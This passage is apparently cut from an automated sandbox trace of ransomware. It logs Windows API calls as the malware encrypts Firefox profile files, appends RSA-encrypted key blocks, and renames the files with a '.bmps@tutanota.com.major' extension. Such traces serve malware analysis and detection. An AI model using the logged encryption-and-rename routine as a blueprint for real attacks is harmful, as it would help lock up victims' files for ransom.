lpNumberOfBytesWritten=0x2e3f9b4*=0x71e, lpOverlapped=0x0) returned 1 [0230.249] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x71e [0230.249] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.249] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.249] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.249] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.249] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.249] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="39EMsOjH+BB4DQrgmuQ1VeRPrdBsKy0nehSJsLfd4zsqTgI+ZBlt2gCeUflmGxGO\nfEMRKR95sV1HE+YwNPbiaLOd+eF5eIKvodZqcKMAxLdXbFZmUWb4qnyKDgofTsP/\n0AkCM+GAr8KGf8FP+KfL5KfrjOasmtehSfhJbW8C7fTaRG7Jj5xOWh0atZxtaGWi\nIc/PYx+/5NYeyCj7zmFOi29SnENbE0nvu2aDFx8EsNwk1h92d3N/naonuLKC2dBp\n04JMOuTxsXyM98igNYe3coeRMpgywra0uYKVzrXkjXuX9Ov1wwQLwD/r1g9rl0sw\nlZxpokpZ5OgeoSwGLRLBIg==\n", pcchString=0x2e3f9a8) returned 1 [0230.249] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.249] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.249] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.249] CloseHandle (hObject=0x1a34) returned 1 [0230.251] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.251] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js", dwFileAttributes=0x80) returned 1 [0230.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6664e8 [0230.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0230.252] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.252] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5171) returned 1 [0230.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1433) returned 0x65a0e0 [0230.252] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1433) returned 0x6548b8 [0230.252] ReadFile (in: hFile=0x1a34, lpBuffer=0x65a0e0, nNumberOfBytesToRead=0x1433, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65a0e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1433, lpOverlapped=0x0) returned 1 [0230.300] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-5171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.301] WriteFile (in: hFile=0x1a34, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x1433, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1433, lpOverlapped=0x0) returned 1 [0230.301] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1433 [0230.301] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.301] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.301] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.301] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.302] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Muun0oLDkML6xQeMMYnYir22H+2O+kA0EaVALSe6BJQn7UrQGfewNF38Jo8fm0Jw\nU7VjbQagRGK00l9GEdrgD7UGEMDtQS218zTWEy+KyD5MsNHQdcXllhpzKgh2HXR0\ny3b7ulLO4NClU0oVbIxzoDlGPnJaMwG0ByAiEeAojQyz5eQZIKSdKawFvewO4age\nHPfpzEn/DB9fVGypbZmZOIs68Stro9KX/jdLb249YzvUpUJjQdOyxgl5iGk6ygbb\n3FA9OT/zyZ1dBA04z5Mtl9DGS0UFVN6JGA0AYZPnawlbVts3xNKrUQALPoiT4eAv\nE0JWRKtRlHV4RyHLr8vyIw==\n", pcchString=0x2e3f9a8) returned 1 [0230.302] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.302] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.302] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.302] CloseHandle (hObject=0x1a34) returned 1 [0230.302] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0230.596] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.596] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json", dwFileAttributes=0x80) returned 1 [0230.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0230.596] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e428 [0230.596] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.597] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=288) returned 1 [0230.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0230.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0230.597] ReadFile (in: hFile=0x1a34, lpBuffer=0x60dd38, nNumberOfBytesToRead=0x120, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60dd38*, lpNumberOfBytesRead=0x2e3f9b4*=0x120, lpOverlapped=0x0) returned 1 [0230.598] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.598] WriteFile (in: hFile=0x1a34, lpBuffer=0x60d898*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x120, lpOverlapped=0x0) returned 1 [0230.598] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x120 [0230.598] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.598] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.598] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.599] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="KY4BSiTZAbzGrinc1ELeoWNo3rdG+XQYLreVgYo58YyjY0Y2e/J9/z8V6yEqqG6K\n7PMgBd5sfvFaBtF/gsgxVRq19IKHb1Y75CRhNmB8LxEm+cIqoI7Fcs/L6clHbkBJ\nj6jMjHNdn5PTaTZVy1P8ecX/jRXEnVcaArVufPtGkFLqNeCKqFSW955iD5K3p9Dz\nE9ouumGCL1FYuEHXVhquYJrC/zdmQjlsYijiU1BNKC9FY9/oxaNCAKxdaMToiHYP\n6cnfQdxYkkO1cHzQHQqq7fIK3lg6sJ0Bljy9b3suFRMBBK3ZvnEI0vwShwI8fTV4\nA8yFMSIxYnM8ks5oU9PElQ==\n", pcchString=0x2e3f9a8) returned 1 [0230.599] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.599] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.599] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.599] CloseHandle (hObject=0x1a34) returned 1 [0230.600] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0230.682] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.682] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SecurityPreloadState.txt", dwFileAttributes=0x80) returned 1 [0230.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668668 [0230.725] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5c1e10 [0230.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SecurityPreloadState.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\securitypreloadstate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.726] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0230.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0230.726] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0230.726] ReadFile (in: hFile=0x1a34, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0230.726] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.726] WriteFile (in: hFile=0x1a34, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0230.726] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0230.726] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.726] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.727] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.728] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.728] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.728] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OQgI+xg/aMYNI2PgmRRBvz7gmCb9IQOGG77x0y9o3IU6UrbKydai01cZHpUB5GhY\n5Cy0ZgTDEyE97v4NNH7QYVlzKkpwd0pA58nXE6qTiu7sU6DMM3z4oTgLz2xIK9Sq\n7XpU5FjOGVzN5gImEiYiKAyZVuS3HyxZIVE7KA/zY7TlGp9LnkCa8k/nUimoNdN0\nEp51RV3kB+onY8ajclRBRTVkySembCUdSLzN+nIJ3a0BitbEg3AxDBOOEFthRwqx\ngFcMvRV5tE2OvhvGW5yoTYiQAcUD8Z9WHzNVeK3lOSST454Pk04nYRK4EA8vgeox\nvRh2UEAoec0DlKXzXcGmnw==\n", pcchString=0x2e3f9a8) returned 1 [0230.728] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.728] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.728] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.728] CloseHandle (hObject=0x1a34) returned 1 [0230.728] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SecurityPreloadState.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\securitypreloadstate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SecurityPreloadState.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\securitypreloadstate.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0230.730] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.730] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db", dwFileAttributes=0x80) returned 1 [0230.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6664e8 [0230.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0230.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.731] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0230.731] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x2f39028 [0230.732] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x33d5010 [0230.732] ReadFile (in: hFile=0x1a34, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0230.776] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.776] WriteFile (in: hFile=0x1a34, lpBuffer=0x33d5010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0230.776] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0230.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.776] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.777] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.777] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7stQn7htvmqFKJy3Q8A82ltdzextmtRskZclicr1Xqx1dey1Vch3UJJwV5QaLKsM\n62UFVZDtTsFBzTrxe/pT5Ie99ok8X0h7woPfn94QG1rHsY2qFJKCq9Lcp32N5B6K\nh1w3+NuZOFbWn5kDzbUtiLRvZk4+pALGm2lbvbFfyXBlHOPxpiiVjsAvZgX5odEJ\nkdQOmxobBXybSiFU4iYxtdv5eyyZ7YjADyDrH3OXkCkCELnuAdvY65TexzucGdRG\n/omBjvT72co9bF7NsSAZgipaC9ykKigGyKGz34h9RG6vVPIK7/uKncs1P98EepCJ\nmbcxaRzZofbVPSluz4Eoig==\n", pcchString=0x2e3f9a8) returned 1 [0230.777] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.777] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.777] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.777] CloseHandle (hObject=0x1a34) returned 1 [0230.777] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0230.779] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.779] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4", dwFileAttributes=0x80) returned 1 [0230.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0230.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60d898 [0230.780] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.780] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=14056) returned 1 [0230.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x36e8) returned 0x2f39028 [0230.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x36e8) returned 0x33d5010 [0230.780] ReadFile (in: hFile=0x1a34, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x36e8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x36e8, lpOverlapped=0x0) returned 1 [0231.214] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-14056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.214] WriteFile (in: hFile=0x1a34, lpBuffer=0x33d5010*, nNumberOfBytesToWrite=0x36e8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x36e8, lpOverlapped=0x0) returned 1 [0231.215] SetFilePointer 